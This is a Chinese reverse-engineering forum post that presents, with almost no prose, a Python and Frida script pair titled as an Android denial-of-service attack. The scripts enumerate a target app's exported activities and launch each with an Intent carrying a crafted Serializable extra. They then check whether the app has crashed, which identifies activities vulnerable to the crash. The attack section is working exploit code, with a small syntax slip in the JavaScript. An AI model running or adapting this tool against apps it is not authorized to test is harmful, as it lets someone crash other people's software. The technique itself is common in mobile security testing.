首页
社区
课程
招聘
[原创]使用frida实现android拒绝服务攻击
发表于: 2020-11-9 15:34 2994

[原创]使用frida实现android拒绝服务攻击

2020-11-9 15:34
2994

直接上代码:
android_dos.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import frida
import time
import os
 
def isRunning(packageName):
    for i in range(3):
        pid =  os.popen("adb shell dumpsys activity top |grep -e ACTIVITY -e TASK")
        strforCmdResult =pid.read()
        if(strforCmdResult.find(packageName)<0):
            # print(strforCmdResult)
            return False
        time.sleep(1)
    return True
 
 
def startActivity(name):
    # print("startactivity:",name)
    device = frida.get_usb_device()
    pid = device.spawn(["com.example.lesson7"])
    device.resume(pid)
    time.sleep(1)
    session = device.attach(pid)
    with open("android_dos.js") as f:
        script = session.create_script(f.read())
    script.on("message",my_message_handler)
    script.load()
    print("start startActiovity: ",name)
    script.exports.invokefund(name)
 
 
def my_message_handler(message,payload):
    print(message)
    print(payload)
 
device = frida.get_usb_device()
pid = device.spawn(["com.example.lesson7"])
device.resume(pid)
time.sleep(1)
session = device.attach(pid)
with open("android_dos.js") as f:
    script = session.create_script(f.read())
script.on("message",my_message_handler)
script.load()
exportedActivitys = script.exports.invokefunc()
for name in exportedActivitys:
    # print("activityName: ",name)
    startActivity(name)
    if(isRunning("com.example.lesson7")is not True):
        print("dos_activity is ",name)
    time.sleep(1)
# input()

android_dos.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
function getAppcontext(){
    const ActivityThread = Java.use("android.app.ActivityThread");
    const currentApplication = ActivityThread.currentApplication();
    return currentApplication.getApplicationContext();
}
 
function getServises(){
 
}
 
function getprovider(){
 
}
 
function getActivityInfos(){
    const context = getAppcontext()
    const PackageManagerhandle = Java.use("android.content.pm.PackageManager")
    var GET_ACTIVITIES = PackageManagerhandle.GET_ACTIVITIES.value
    var packageInfo = context.getPackageManager().getPackageInfo(context.getPackageName(),GET_ACTIVITIES)
    return packageInfo.activities
}
 
function getExportedActivitys(){
    const activityInfos = getActivityInfos()
        let activitys = []
        activityInfos.value.map(info => {
             if(info.exported.value){
                activitys.push(info.name.value)
             }
        })
        return activitys
}
 
function createSerialiZable(){
    var mySerialiZable = Java.registerClass({
        name: 'com.example.mySerialiZable'
        implements: [Java.use("java.io.Serializable")],
        methods: {
        }
      })
      return mySerialiZable.$new();
}
 
function startActivity(name){
    const context = getAppcontext()
    const intenthandle = Java.use("android.content.Intent").$new()
    intenthandle.setClassName(context,name)
    intenthandle.putExtra("xp_text",createSerialiZable())
    context.startActivity(intenthandle)
}
 
function main(){
    Java.perform(function(){
        const activitys = getExportedActivitys()
        for(var i = 0;i < activitys.length;i++){
            console.log(activitys[i])
            startActivity(activitys[i])
        }
    })
}
 
// setTimeout(main,100)
rpc.exports = {
    invokefunc:function(){
        var activitys
        Java.perform(function(){
            activitys = getExportedActivitys()
            // console.log(activitys)
        })
        return activitys
    },
    invokefund:function(name){
        Java.perform(function(){
            startActivity(name)
        })
    },
 
}

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

最后于 2020-11-9 15:37 被和蔼的哔哔编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回